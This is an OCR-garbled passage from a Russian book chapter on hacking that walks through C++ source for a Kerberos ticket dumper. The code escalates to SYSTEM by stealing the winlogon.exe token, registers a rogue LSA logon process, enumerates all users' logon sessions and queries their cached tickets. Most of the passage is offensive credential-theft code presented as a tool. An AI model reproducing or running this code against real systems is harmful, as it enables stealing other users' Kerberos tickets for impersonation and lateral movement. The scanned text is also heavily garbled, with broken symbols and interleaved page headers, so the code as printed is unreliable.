Lsaconnect () . Она принимает адрес, который инициализирует­ ся валидным хендлом на // LSA, если сможет его получить. Вызов функции LsaHandle = NULL; LsaConnect(&LsaRandle); НANDLE // Функция LsaHandle) status = О; wchar_t username[256]; DWORD usernamesize; #ifdef DEBUG GetUserName(username, &usernamesize); std: :wcout « L" [?] Current user: " << username << std: :endl; std: :wcout « L" [?] Trying to get system" « std: :endl; #endif if (IrnpersonateSystem() != О) { #ifdef DEBUG std::wcout « L"[-] Cant get SYSTEМ rights" « std::endl; #endif status = LsaConnectUntrusted(LsaHandle); if (!NT_SUCCESS(status) 11 !LsaRandle) { std::wcout « L"[-] LsaConnectUntrusted Err: "« LsaNtStatusToWinError(status) « std: :endl; exit(-1); В001 LsaConnect(PНANDLE NТSTATUS return FALSE; else { GetUserName(username, &usernamesize); PLSA_STRING krbname = create_lsa_string("MzНmO Dumper"); LSA- OPERATIONAL- MODE info;
Глава 9. Как дампить тикеты KerЬeros на С++ 157 #ifdef DEBUG « std: :wcout L" [?] Current user: " « username « std: :endl; #endif status = LsaRegisterLogonProcess(krbname, LsaHandle, &info); if (!NT_SUCCESS(status) std::wcout status « 11 1 LsaHandle) { L"[-] Cant Register Logon Process" « std::endl; LsaConnectUntrusted(LsaHandle); = if (!NTSUCCESS(status) std: :wcout « 11 1 LsaHandle) { L" [-] LsaConnectUntrusted Err: " « LsaNtStatusToWinError (status) « std: :endl; exit(-1); return FALSE; return TRUE; Итак, именно в этой функции мы будем проверять, получится ли сдампить тикеты всех пользователей, либо мы ограничимся только текущим. Сначала получаем имя пользователя, от лица которого запущен инструмент, после чего дергается функция ImpersonateSystem (). Она достаточно проста - сперва пытается добавить пользовате­ лю привилегию SeDebug и Seimpersonate, затем получает хендл на процесс winlogon.exe (можно заменить любым другим, запущенным от лица системы). Наконец, исполь­ зуя этот хендл, функция получает токен процесса winlogon.exe и применяет его к те­ кущему потоку, что позволит добиться выполнения кода от лица системы. DWORD ImpersonateSystem() { if (!EnaЫePrivilege(SE_DEBUG_NAМE, TRUE)) { #ifdef DEBUG std: :wcout « " [ 1] Error enaЫing SeDebugPrivilege" « std: :endl; #endif return 1; else { #ifdef DEBUG std::wcout « "[+] SeDebugPrivilege EnaЫed" « std::endl; #endif if ( 1 EnaЬlePrivilege(SE_IMPERSONATE_NAМE, TRUE)) ( #ifdef DEBUG std: :wcout #endif return 1; else { #ifdef DEBUG « " [ 1] Error eпaЫing SeimpersonatePrivilege" « std: :endl;
Часть 158 std::wcout « "[+] SeimpersonatePrivilege 11. Системное программирование для хакеров EnaЫed" « std::endl; #endif DWORD systemPID = GetWinlogonPid(); О) ( if (systemPID #ifdef DEBUG std: :wcout « " [ 1 ] Error getting PID to Winlogon process" « std: :endl; #endif return 1; procHandle = OpenProcess(PROCESS_QUERY_INFORМATION, FALSE, systemPID); DWORD dw = О; dw = : :GetLastError(); if (dw != О) ( #ifdef DEBUG std::wcout « L"[-] OpenProcess failed: "« dw « std::endl; #endif return 1; НANDLE НANDLE hSystemTokenHandle; OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenНandle); dw = : :GetLastError(); if (dw != О) { #ifdef DEBUG std::wcout « L"[-] OpenProcessToken failed: "« dw « std::endl; #endif return 1; newTokenHandle; DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL, Securityimpersonation, TokenPrimary, &newTokenНandle); dw = : :GetLastError(); if (dw 1= О) { #ifdef DEBUG std: :wcout « L" [-] DuplicateTokenEx failed: " « dw « std: :endl; #endif return 1; НANDLE ImpersonateLoggedOnUser(newTokenHandle); return О; Функции для работы с токенами мы уже рассматривали в главах му не вижу смысла на них останавливаться. 4 GetWinlogonPid (1, и 6, поэто­ используя
Глава 9. Как дампить тикеты KerЬeros на С++ createтoolhelp32Snapshot 159 (), получает список текущих процессов, а затем пробегается по ним, чтобы обнаружить процесс с нужным именем, т. е. winlogon.exe. DWORD GetWinlogonPid() ( PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); НANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == О) return entry.th32ProcessID; return О; Если хотя бы одна из этих операций оборачивается неудачей, то нам будет суждено сдампить лишь тикеты текущего пользователя. ImpersonateSystem() вернет О, если успешно получила выполнение кода от лица системы, и -1, если что-то пошло не так. Поэтому добавляем простое условие if. if (ImpersonateSystem() != О) ( #ifdef DEBUG std::wcout « L"[-] Cant get SYSTEM rights" « std::endl; #endif status = LsaConnectUntrusted(LsaHandle); if (!NT_SUCCESS(status) 11 !LsaHandle) { std: :wcout « L" [-] LsaConnectUntrusted Err: " « LsaNtStatusToWinError(status) « std: :endl; exit(-1); return FALSE; Начнем с варианта, в котором нам не удалось добиться исполнения кода от лица системы. В таком случае придется немножко взгрустнуть, получить обычный хендл на LSA и вернуть FALSE. Получение хендла на LSA через LsaconnectUntrusted () приве­ дет к тому, что все «ядерные» возможности дампа чужих тикетов окажутся нам не­ доступны. Мы будем считаться, В дальнейшем этот возвращенный буквально FALSE говоря, недоверенным процессом. проверяется и устанавливается соответ­ ствующий флажок, который сигнализирует, возможен дамп тикетов из всех сессий или нет.
Часть 160 if 11. Системное программирование для хакеров (LsaConnect(&Lsaнandle)) std::wcout « L"[+] I'll dump all tickets" « std::endl; DшnpAllTickets = TRUE; else { std::wcout « L"[-] I'll durnp tickets of current user" « std::endl; Если же нам повезло чуть больше, то теперь наша программа исполняется от лица системы, поэтому регистрируем процесс входа в систему. Сделать это можно с по­ мощью LsaRegisterLogonProcess (). Указанная функция принимает имя нового процесса входа, некоторую (не особо важную) дополнительную информацию, а возвращает «ядерный» хендл на LSA. else { GetUserName(username, &usernamesize); PLSA_STRING krbname = create_lsa_string("MzНrnO Dшnper"); LSA- OPERATIONAL- MODE info; #ifdef DEBUG std: :wcout « L" [?] Current user: " « username << std: :endl; #endif status = LsaRegisterLogonProcess(krbname, Lsaнandle, &info); if (!NT_SUCCESS(status) 11 !Lsaнandle) ( std: :wcout « L" [-] Cant Register Logon Process" « std: :endl; status = LsaConnectUntrusted(LsaHandle); if ( !NT_SUCCESS(status) 11 !Lsaнandle) { std::wcout « L"[-] LsaConnectUntrusted Err: "« LsaNtStatusToWinError(status) « std:: endl; exit(-1); return FALSE; return TRUE; Полученный с помощью функции LsaRegisterLogonProcess () хендл не имеет никаких ограничений в плане взаимодействия с LSA. Его можно использовать для любых целей, мы фактически становимся процессом входа, почти как winlogon.exe. Процесс входа должен иметь свое уникальное имя, чтобы LSA ращаться. в LSA воспринимает строки только могла понимать, к кому об­ виде специальной структуры LSA_STRING. Для корректной инициализации всех элементов этой структуры я также сделал специальную функцию: LSA_STRING* create_lsa_string(const char* value) { char* buf = new char[l00]; LSA_STRING* str = (LSA_STRING*)buf; str->Length = strlen(value); str->MaxirnumLength = str->Length;
Глава 9. Как дампить тикеты KerЬeros на С++ 161 str->Buffer = buf + sizeof(LSA STRING); memcpy(str->Buffer, value, str->Length); return str; После создания имени для нашего процесса входа пора наконец-то вызывать LsaRegisterLogonProcess (). Обратите внимание, что я не забыл обработать возможную ошибку, ведь мало ли что может происходить в системе, вдруг LsaRegisterLogonProcess () не даст зарегистрировать новый процесс входа. Поэтому, если вызов функции обернулся ошибкой, мы просто возвращаемся к описанному раньше варианту через LsaConnectUntrusted (). В таком случае сдам пить все тикеты, само собой, не получится. С подключением к LSA мы закончили. На текущий момент у нас есть только валидный хендл, но ведь нужно взаимодействовать не с Kerberos. LSA, кации в системе есть свой номер, который присваивает ему этого самого пакета. По умолчанию на всех системах у АР мер 2, а конкретно с АР Поэтому начинаем получать его айдишник. У каждого пакета аутентифи­ LSA в момент загрузки Kerberos 1D имеет но­ но лучше запрашивать этот номер также с помощью специальной функции. ПолучениеlD Теперь мы должны обнаружить АР Kerberos. Его получение я вынес в отдельную функцию GetKerberosPackage (). В принципе, эту функцию можно использовать для получения 1D любого АР, т. к. она принимает строку, однозначно идентифици­ рующую нужный АР. ULONG GetKerberosPackage(НANDLE LsaHandle, LSA STRING lsastr) { NTSTATUS status; ULONG АР= О; status = LsaLookupAuthenticationPackage(LsaHandle, &lsastr, &АР); if (АР == О) ( std: :wcout « L" [-] Error LsaLookupAP: " « LsaNtStatusToWinError (status) « std:: endl; exit (-1); return АР; Ее вызов в программе выглядит вот так: PLSA_STRING krbname = create_lsa_string("kerberos"); ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname); Здесь все достаточно просто: для получения 1D пакета аутентификации использует­ ся функция LsaLookupAuthenticationPackage (), которая принимает хендл на LSA, а также имя пакета аутентификации. Причем имя должно быть представлено в виде струк­ туры LSA_STRING.
Часть 162 Перечисляем все 11. Системное программирование для хакеров LUID Наконец у нас есть все необходимое: хендл на Kerberos, LSA, 1D пакета аутентификации желание сдампить тикеты ... Теперь следует перечислить все сеансы входа в систему, что позволит нам сдампить тикеты других пользователей. В процессе «подготовки» к дампу мы проверяем, можно ли нам сдампить тикеты всех пользо­ вателей (DшnpAllTickets должен иметь значение TRUE, эту переменную мы инициали­ зировали еще раньше, когда пытались получить ядерный хендл на LSA). Если такая возможность есть, приступаем к перечислению сеансов входа, в противном случае дампим тикеты текущей сессии. if { ULONG LogonSessionCount; PLUID LogonSessionList = NULL; NTSTATUS status = LsaEnшnerateLogonSessions(&LogonSessionCount, &LogonSessionList); if (status != О) { #ifdef DEBUG std::wcout « L"[-] Cant get info about logon sessions: "« LsaNtStatusToWinError(status) << std: :endl; std: :wcout « L" [ 1 ] Getting current user t1ckets" « std: :endl; #endif RevertToSelf (); LsaDeregisterLogonProcess(LsaHandle); LsaConnectUntrusted(&LsaHandle); ReceiveLogoninfo(LsaHandle, { 0,0 ), kerberosAP); (DшnpAllTickets) PSECURITY_LOGON_SESSION_DATA pLogonSessionData ~ (PSECURITY_LOGON_SESSION_DATA)malloc(sizeof(SECURITY_LOGON_SESSION_DATA)); for (int i = О; i < LogonSessionCount; i++) { LsaGetLogonSessionData(LogonSess1onList + i, &pLogonSessionData); SetConsoleTextAttribute(hConsole, FOREGROUND_RED I FOREGROUND_GREEN); std: :wcout << "------------------------------------------------" << std. :endl; std: :wcout « "[+] Tickets For: " « pLogonSess1onData->LogonDomain.Buffer « L"\\" « pLogonSessionData->UserName.Buffer « std: :endl; LUID Logonid = *(LogonSessionList + i); std: :wcout « "\tLogonid:\t" « std: :hex « Logonid.HighPart « Logonid.LowPart « std:: endl; LPWSTR sidstr; ConvertSidT0StringSid(pLogonSessionData->S1d, &sidstr); std: :wcout << "\tUserSID:\t" << sidstr << std: :endl; std: :wcout « "\tAuthenticationPackage:\t" « pLogonSessionData-> AuthenticationPackage.Buffer << std: :endl; std: :cout « "\tLogonType:\t" « enшnToString[pLogonSessionData->LogonType] « std: :endl; std: :wcout « "\ tLogonTime: \ t"; f ilet1meT0Time 11PFILETIME) &pLogonSes sionData-> LogonTime);
Глава 9. Как дампить тикеты KerЬeros на С++ 163 std: :wcout « "\tLogonServer:\t" « pLogonSessionData->LogonServer.Buffer « std::endl; std: :wcout « "\tLogonServerDNSDomain:\t" « pLogonSessionData->DnsDomainName.Buffer « std: :endl; std: :wcout « "\tUserPrincipalName:\t" « pLogonSessionData->Upn.Buffer « std::endl; SetConsoleTextAttribute(hConsole, Ох07); ReceiveLogoninfo(LsaHandle, *(LogonSessionList + i), kerberosAP); LsaFreeReturnBuffer(LogonSessionList); else { ReceiveLogoninfo(LsaHandle, { 0,0 ), kerberosAP); // дамп тикетов текущей сессии Здесь мы вызываем функцию LsaEnumerateLogonsessions {), она имеет следующий про­ тотип: NTSTATUS LsaEnumerateLogonSessions( [out] PULONG LogonSessionCount, [out] PLUID *LogonSessionList ); □ LogonsessionCount - количество сеансов входов в систему. Например, если зашло два пользователя, то здесь будет число □ LogonsessionList - массив значений 2; LUID, идентифицирующих сеанс входа в сис- тему. Если же получить LUID не удалось, то дерегистрируем процесс входа в систему и возвращаемся к варианту с дампом тикетов только из сессии текущего пользова­ теля. Если функция завершилась успешно, выделяем место под структуру SECURITY_ LOGON- SESSION- DATA. typedef struct _SECURITY_LOGON_SESSION_DATA Size; ULONG Logonid; LUID UserName; LSA- UNICODE- STRING LogonDomain; LSA- UNICODE- STRING AuthenticationPackage; LSA- UNICODE- STRING LogonType; ULONG Session; ULONG Sid; PSID LogonTime; LARGE INTEGER LSA- UNICODE - STRING LogonServer; LSA- UNICODE- STRING DnsDomainName; Upn; STRING LSA- UNICODE UserFlags; ULONG LSA_LAST_INTER_LOGON_INFO LastLogoninfo; LogonScript; LSA_UNICODE_STRING ProfilePath; LSA- UNICODE - STRING
Часть 164 11. Системное программирование для хакеров LSA UNICODE STRING HomeDirectory; LSA- UNICODE - STRING HomeDirectoryDrive; LARGE INTEGER LogoffTime; LARGE INTEGER KickOffTime; LARGE INТEGER PasswordLastSet; LARGE INТEGER PasswordCanChange; LARGE INTEGER PasswordМustChange; SECURITY LOGON SESSION DATA, *PSECURITY_LOGON SESSION DATA; С помощью этой структуры можно извлечь чуть больше информации о конкретном сеансе входа в систему. Я выделил следующие основные данные: □ UserName, LogonDomain - позволяют определить, какому пользователю принадлежит сеанс входа в систему (чьи тикеты мы дампим); □ Logonld - □ userSID - его LUID; SID пользователя; □ AuthenticationPackage - АР, используемый для проверки подлинности. Нам под­ ходит только Kerberos; □ LogonType - в Windows насчитывается 13 различных типов входа в систему, по­ этому было бы интересно знать, каким образом залогинился конкретный поль­ зователь; □ LogonTime - время входа пользователя; □ LogonServer, LogonServerDNSDomain - сервер, который провел аутентификацию (под- твердил, что учетные данные верны). В случае □ UserPrincipalName - Kerberos это будет КОС; UPN пользователя. Получение этой структуры, а затем парсинг данных реализуется в цикле for, кото­ рый итерируется через все полученные ранее LUID'ы сеансов входа. for (int i = О; i < LogonSessionCount; i++) ( LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData); SetConsoleTextAttribute(hConsole, FOREGROUND RED I FOREGROUND GREEN); std: :wcout << "------------------------------------------------" << std .. endl, std::wcout « "[+] Tickets For: "« pLogonSessionData->LogonDomain.Buffer « L"\\" « pLogonSessionData->UserName.Buffer << std: :endl; LUID Logonid = *(LogonSessionList + i); st.d: :wcout « "\tLogonld:\t" « std: :hex « Logonid.H1ghPart « Logonid.LowPart « std: :endl; LPWSTR sidstr; ConvertSidToStringSid(pLogonSessionData->Sid, &sidstr); std: :wcout << "\tUserSID:\t" << sidstr << std: :endl; std: :wcout << "\tAuthenticationPackage:\t" << pLogonSessionData-> AuthenticationPackage.Buffer << std: :endl; std: :cout « "\tLogonType:\t" « enumT0String[pLogonSess1onData->LogonType] « std: :endl; std: :wcout « "\tLogonTime: \t"; filetimeToTime ( (PFILETIME) &pLogonSessionData->LogonTime); std: :wcout « "\tLogonServer:\t" « pLogonSessionData->LogonServer.Buffer « std: :endl;
Глава 9. Как дампить тикеты KerЬeros на С++ 165 std: :wcout « "\tLogonServerDNSDomain:\t" « pLogonSessionData->DnsDomainName.Buffer « std: :endl; std: :wcout « "\tlJserPrincipalName:\t" « pLogonSessionData->lJpn.Buffer « std: :endl; SetConsoleTextAttribute(hConsole, Ох07); ReceiveLogoninfo(LsaHandle, *(LogonSessionList + i), kerberosAP); Следует помнить, что SID хранится в системе далеко не в виде понятной строки s-1-s-з-xxx. Чтобы превратить его в удобочитаемое значение, используется функция ConvertSidToStringSid ( 1, которая принимает SID в виде одноименной структуры, а возвращает строку. LogonType также идентифицируется конкретным 1D, поэтому мы просто создаем словарь «ключ - значение», из которого по ключу получаем тип входа. std: ;map<int, std: :string> enumToString = { {lJndefinedLogonType, "lJndefinedLogonType"), {Interacti ve, "Interacti ve"), {Network, "Network"), {Batch, "Batch"), {Service, "Service"), {Proxy, "Proxy"}, {lJnlock, "lJnlock"), {NetworkCleartext, "NetworkCleartext"}, {NewCredentials, "NewCredentials"}, {Remoteinteractive, "Remoteinteractive"}, {Cachedinteractive, "Cachedinteractive"), {CachedRemoteinteractive, "CachedRemoteinteractive"}, (CachedlJnlock, "CachedUnlock") ); Еще одна особенность - время. Функция возвращает время в виде структуры FILETIME. typedef struct. FILEТIME DWORD dwLowDateTime; DWORD dwHighDateTime; FILETIME, *PFILETIME, *LPFILETIME; Чтобы это добро преобразовать в обычное «человеческое» время, добавим функ­ цию filetimeToTime: VOID filetimeToTime (const FILETIME* time) { SYSTEMTIME st; FileTimeToSystemTime(time, &st); << st.wMonth << "." << st.wYear <<" " << st.wH01Jr << ":" << std: :cout << st.wDay << st.wMinute « "·" << st.wSecond << std::endl; Она использует функцию FileTimeToSystemTime, которая преобрюует структуру FILETIME в структуру SYSTEMTIME. А в этой второй структуре элементы уже «человеческие». Их можно выводить.
166 Часть 11. Системное программирование для хакеров На этом этап сбора информации о LUID входа. Для этого дергаем функцию Recei veLogoninfo 1). Она принимает хендл на LSA, LUID, а также номер АР завершен, пора дампить тикеты из сеанса Kerberos. ReceiveLogoninfo(LsaHandle, *(LogonSessionList + i), kerberosAP); Если бы мы хотели сдампить тикеты текущей сессии, то в качестве LUID можно было бы передать {О, О}. Это означает текущий сеанс входа. ReceiveLogoninfo(LsaHandle, { 0,0 }, kerberosAP); Изучение кеша Наконец, сердце программы. Основной компонент, который выполняет дамп тике­ тов, функция Recei veLogoninfo (). Она имеет следующий прототип: - DWORD ReceiveLogoninfo(НANDLE □ LsaHandle хендл LsaConnectUntrusted(); □ LogonID - LUID □ kerberosAP - на LsaHandle, LUID Logonid, ULONG kerberosAP); LSA, полученный через LsaRegisterLogonProcess () или сеанса входа, тикеты которого нужно сдампить; айдишник пакета аутентификации Полный код функции приводить не буду - Kerberos. он слишком большой. Рассмотрим по частям. Сначала мы должны обратиться к пакету аутентификации Kerberos, чтобы получить информацию обо всех кешированных билетах. Для этого используется функция LsaCallAuthenticationPackage (). NTSTATUS LsaCallAuthenticationPackage( [in] НANDLE LsaHandle, [in] ULONG AuthenticationPackage, [in] PVOID ProtocolSubrnitBuffer, [in] ULONG SuЬrnitBufferLength, [out] PVOID *ProtocolReturnBuffer, [out] PULONG ReturnBufferLength, [out] PNTSTATUS ProtocolStatus ); Здесь: □ LsaHandle - хендл на □ AuthenticationPackage □ ProtocolSuЬrni tBuffer - LSA; айдишник пакета, к которому мы обращаемся; специфичная для каждого АР структура, позволяющая за­ просить информацию, которую этот АР может предоставить. Например, мы бу­ дем отдавать структуру KERB _QUERY _ткт _САСНЕ _REQUEST, получив которую АР Kerberos поймет, что ему нужно выдать информацию обо всех кешированных тикетах; □ SuЬrnitBufferLength- размер ProtocolSubrnitBufftcr; □ ProtocolReturnBuffer - взаимодействие с АР во многом похоже на взаимодействие по НТТР. Сначала отправляется реквест, а затем отдается респонс. Так вот,
Глава 9. Как дампить тикеты KerЬeros на С++ в этом 167 параметре будет лежать структура, которую вернул АР. Например, КERВ_QUERY_TKT_CACНE_RESPONSE; □ ReturnВufferLength - размер ProtocolReturnВuffer; □ Protocolstatus - ты, наверное, знаешь, что всякие ошибки у функций WinAPI можно ловить с помощью GetLastError (). Так вот, эта функция может сломаться как при вызове, так и внутри самого АР Kerberos. В этом параметре будет ле­ жать код ошибки, возвращенный непосредственно АР Kerberos. Например, если функция вызвалась успешно, но мы передали кривую структуру, то АР Kerberos любезно оповестит нас об этом с помощью соответствующего кода ошибки, который можно получить отсюда. Теперь минутка ликбеза: в зависимости от того, как был получен хендл на в АР Kerberos LSA, будут вызваны различные функции. Если хендл получен через LsaConnectUntrusted (), то в АР вызывается функция LsaApCallPackageUntrusted (). Если же через LsaRegisterLogonProcess (), то LsaApCallPackage (). Прототипы функций приводить не буду - они достаточно большие. Вернемся к «Керберосу». Вот структура, которую нужно отдавать в АР Kerberos для перечисления его кеша: typedef struct _КERВ_QUERY_TКТ_CACНE_REQUEST КERB_PROTOCOL_MESSAGE_TYPE LUID MessageType; Logonld; КERВ_QUERY_TKT_CACHE_REQUEST, *PКERВ_QUERY_TКТ_CACНE_REQUEST; Здесь: □ мessageType - специальное перечисляемое значение, характеризующее тип обра­ щения к АР, т. е. с какой целью мы к нему пришли. Можно использовать KerbQueryТicketCacheMessage; □ сессия входа, для которой нужно перечислять тикеты. Logonid - в ответ АР Kerberos typedef struct вернет структуру КЕRВ _QUERY- ткт- САСНЕ- RESPONSE: _КERВ_QUERY_TКТ_CACHE_RESPONSE КERВ_PROTOCOL_МESSAGE_TYPE ULONG КERB_TICКET_CACHE_INFO MessageType; CountOfTickets; Tickets[ANYSIZE_ARRAY]; КERВ_QUERY_TKT_CACHE_RESPONSE, *PКERB_QUERY_TКТ_CACНE_RESPONSE; Здесь: □ MessageType специальное перечисляемое значение. Будет равно KerbQueryТicketCacheMessage; □ countofтickets - количество тикетов, которые связаны с указанной сессией входа; □ Tickets [ANYSIZE_ARRAY] - массив, содержащий информацию о тикетах. Представ­ лен в виде структуры КЕRВ- ТIСКЕТ- САСНЕ- INFO. typedef struct _КERВ_TICКET_CACHE_INFO UNICODE STRING ServerName;
Часть 168 UNICODE STRING LARGE INTEGER LARGE INTEGER LARGE INTEGER LONG ULONG 11. Системное программирование для хакеров RealmName; StartTime; EndTime; RenewTime; EncryptionType; TicketFlags; КERB_TICКET_CACHE_INFO, *PКERB_TICКET_CACHE_INFO; Здесь: О ServerName - имя сервера, для которого предназначен тикет. В случае будет krbtgt/DOМAIN.coм. В случае О RealmName - TGS - TGT это SPN целевой службы; это некая область видимости. В целом бесполезный параметр, но его мы тоже можем выводить; О StartTime, EndTime, RenewTime - время получения билета, время, когда билет стух­ нет, время, в течение которого билет можно обновить. С первыми двумя пара­ метрами, думаю, все понятно, а вот последний позволяет на основе существую­ щего билета запросить новый. Вы можете встретить этот набор функций, на­ пример, в RuЬeus О EncryptionType - renew; тип шифрования билета. По умолчанию есть RC4, AES-128, AES-256; О TicketFlags - флаги билета. То есть специальные значения, которые хранят ин­ формацию об особенностях тикета. Итак, пора запрашивать информацию. Вызываем функцию LsaCallAuthenticationPackage ( 1: DWORD ReceiveLogonlnfo(НANDLE LsaHandle, LUID Logonid, ULONG kerberosAP) ( KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = ( KerbQueryТicketCacheMessage, Logonid f; PКERB_QUERY_TKT_CACHE_RESPONSE pKerbCacheResponse; PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest; PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse; ULONG krbQTCacheSizeResponse = О; NTSTATUS ProtocolStatus = О; NTSTI\ТlJS status = LsaCal lAuthenticationPackage (LsaHandle, kerberosAP, &kerbCacheRequest, s1zeof (KERB_QUERY _ТКТ _САСНЕ _REQUEST), (PVOID*) &pKerbCacheResponse, &krbQTCacheSizeResponse, &ProtocolStatus); if (status == О) ( if (ProtocolStatus == О) std: :wcout « L"\t(+] Enumerated" « pKerbCacheResponse->CountOfTickets « L" Tickets" << std: :endl; Здесь все очевидно. Инициализируем структуры, дергаем АР Kerberos. Проверяем, что вызов функции, равно как и ответ от АР Kerberos успешны, а затем приступаем к парсингу полученных данных. Если вдруг что-то на каком-то этапе сломалось, разбираемся с ошибкой при помощи LsaNtStatusToWiпError ( 1. ULONG Stats = LsaNtStatusToWinError(status); std::cout « L"[-] КЕRВ QUERY ТКТ САСНЕ REQUEST Func Zrror: "« Stats « std::endl; - - - -
Глава 9. 169 Как дампить тикеты KerЬeros на С++ Парсинг достаточно простой. Время выводим с помощью функции filetimeтoтime. Имена реалма и сервера выводим вообще без парсинга, обращаясь к элементу Buffer структуры UNICODE - STRING. std: :wcout << L"\tТICКET [" « i + 1 « L"]:" « std: :endl; std: :wcout << L"\t\tServer Name:\t" « pKerbCacheResponse->Tickets[i] .ServerName.Buffer « std: :endl; std: :wcout << L"\t\tRealm Name:\t" « pKerbCacheResponse->Tickets[i] .RealmName.Buffer « std: :endl; std: :wcout « L"\t\tStart Time:\t"; filetimeToTime( (PFILETIME)&pKerbCacheResponse-> Tickets[i] .StartTime); std: :wcout « L"\t\tEnd Time:\t"; filetimeToTime( (PFILEТIME)&pKerbCacheResponse-> Tickets[i] .EndTime); std: :wcou·c « L"\t\tRenew Time: \t"; filetimeToTime ( (PFILETIME) &pKerbCacheResponse-> Tickets[i] .RenewTime); Дополнительно я решил создать функцию containsKrЬtgt, с помощью которой можно определить, TGT текущий тикет или проверяет наличие строки krЬtgt в если нет TGS. Работает она до неприличия просто: serverName.buffer. Если такая строка есть, то перед нами TGT, bool UNICODE_STRING& unicodeStr) ( std: :wstring wstr(unicodeStr.Buffer, unicodeStr.Length / sizeof(WCНAR) ); std: :string str(wstr.begin(), wstr.end()); std: :transform(str.begin(), str.end(), str.begin(), : :tolower); - TGS. containsKrЬtgt(const if (str.find("krЬtgt") != std: :string: :npos) ( return true; else ( return false; А вот соответствующий вывод в следующих строках: if .ServerName)) std: :wcout << L"\t\tTGT:\t TRUE" << std: :endl; (containsKrЬtgt(pKerbCacheResponse->Tickets[i] else std: :wcout << L"\t\tTGS:\t TRUE" << std: :endl; После чего остаются последние два элемента структуры - EncryptionType и Flags. Их парсинг также нужно вынести в отдельную функцию. std: :wcout « L"\t\tEncryptionType:\t" « KerberosEncryptionType(pKerbCacheResponse-> Tickets[i] .EncryptionType) << std::endl; std: :wcout « L"\t\tTicket Flags:\t"; ParseTktFlags(pKerbCacheResponse-> Tickets[i] .TicketFlags); Первая достаточно простая: это стандартный PCSTR KerberosEncryptionType(LONG PCSTR type; еТуре) switch - case.
Часть 170 switch 11. Системное программирование для хакеров (еТуре) case КЕRВ ЕТУРЕ NU11: case КЕRВ- ЕТУРЕ- DES- PLAIN: case КЕRВ- ЕТУРЕ- DES- СВС- CRC: case КЕRВ- ЕТУРЕ- DES- свс- MD4: case КЕRВ ЕТУРЕ DES СВС MDS: case КЕRВ ЕТУРЕ DES СВС MDS NT: case КЕRВ ЕТУРЕ RC4 PLAIN: case КЕRВ- ЕТУРЕ- RC4 - PLAIN2: case КЕRВ ЕТУРЕ RC4 PLAIN ЕХР: case КЕRВ- ЕТУРЕ- RC4 - LМ: case КЕRВ ЕТУРЕ RC4 MD4: case КЕRВ- ЕТУРЕ- RC4 - SНА: case КЕRВ ЕТУРЕ RC4 НМАС NT: case КЕRВ- ЕТУРЕ- RC4 - НМАС NT ЕХР: case КЕRВ ЕТУРЕ RC4 PLAIN 01D: case КЕRВ- ЕТУРЕ- RC4 - PLAIN- 010- ЕХР: case КЕRВ ЕТУРЕ RC4 НМАС 010: case КЕRВ- ЕТУРЕ- RC4 - НМАС- 010- ЕХР: case КЕRВ- ЕТУРЕ- AES128 - стs- НМАС- SНAl 96 PLAIN: case КЕRВ- ЕТУРЕ- AES256- CTS- НМАС- SНAl-96-PLAIN: case КЕRВ ЕТУРЕ AES128 CTS НМАС SНAl 96: case КЕRВ ЕТУРЕ AES256 CTS НМАС SНAl 96: default: type = 11 unknow type type type type type type type type type type type type type type type type type type type type type type = = = = = = = = = = = = = = = = = = = = = = 11, null ' "; des_plain 11, 11 des сЬс crc ' 11 des сЬс md4 "; 11 des сЬс mdS "; 11, 11 des сЬс mdS nt ' 11 rc4_plain "; 11 rc4_plain2 "; 11 rc4_plain_exp "; 11, 11 rc4 lm ' 11, 11 rc4 md4 ' 11 rc4 sha "· ' 11 rc4 hmac nt "; 11, 11 rc4_hmac_nt_exp ' 11, 11 rc4_plain_old ' 11 rc4_plain_old_exp 11 ; 11 rc4 hmac old "; 11 rc4_hmac_old_exp 11 ; 11 aes128_hmac_plain"; 11 aes256_hmac _plain 11 ; 11 aes128 hmac "; 11 aes256 hmac "; 11 11 "; break; break; break; break; break; break; break; break; break; break; break; break; break; break; break; break; break; break; break; break; break; break; break; return type; Вторая чуточку сложнее. Чтобы корректно выводились все флаги, мы поместили их еще в stuff .h, в массив строк TicketFlagsToStrings: const PCWCНAR TicketFlagsToStrings[) = { 1 11 name_canonicalize 11 , 1 11 ?11 , 1 11 ok_as_delegate", 1 11 ?11 , 1 11 hw_authent 11 , 111 pre_authent 11 , 1 11 initial 11 , 1 11 renewaЫe 11 , 1 11 invalid 11 , 111 postdated 11 , 1 11 may_postdate 11 , 1 11 proxy 11 , 1 11 proxiaЬle 11 , 1 11 forwarded 11 , 1 11 forwardaЬle 11 , 1 11 reserved 11 , 1; А получить флаги тикета можно с помощью простых арифметических операторов. V0ID ParseTktFlags(U10NG flags} { 0W0R0 i; for (i = О; i < ARRAYSIZE(TicketFlagsToStrings}; i++) if ((flags >> (i + 16}) & 1) std: :wcout « TicketFlagsToStrings [i) « 11 , 11 ; std: :wcout « std: :endl; С парсингом кеша на этом все. Пора доставать сам тикет!
Глава 9. Как дампить тикеты Kerberos на С++ 171 Дамп тикета Теперь у нас имеется вся информация о билете. Мы знаем, на какую службу он вы­ писан, кто владеет этим билетом . Остается получить лишь сам тикет. Но сначала нужно поставить точку в тикетах и сессионных ключах, чтобы не было путаницы в голове. Вы, наверное, знаете, что в Kerberos везде и повсюду используются сесси­ онные ключи, которые позволяют организовать зашифрованный канал связи между КОС и клиентом либо клиентом и службой . Возможно, вы даже задавались вопро­ сом: а в какой момент дампится сессионный ключ? Откуда его брать? Вот, напри­ мер, вы сдампили тикеты через RuЬeus dump, он даже сессионный ключ вывел, но где этот сессионный ключ используется? Я беру и внедряю тикет, и все работает (рис. 9.6, 9.7). Рис . 9.6. Дамп тикета и сессионного ключа Так вот. Помните, мы при обращении к АР Kerberos в структуре КЕRВ_QUЕRУ_ткт САСНЕ _ REQUEST указывали MessageType? Он как раз определяет то, что нам требуется от Kerberos. Ранее нам и мы указывали летах АР надо было получить информацию о кешированных би­ KerbQueryTi c ketCa cheMessage . А для 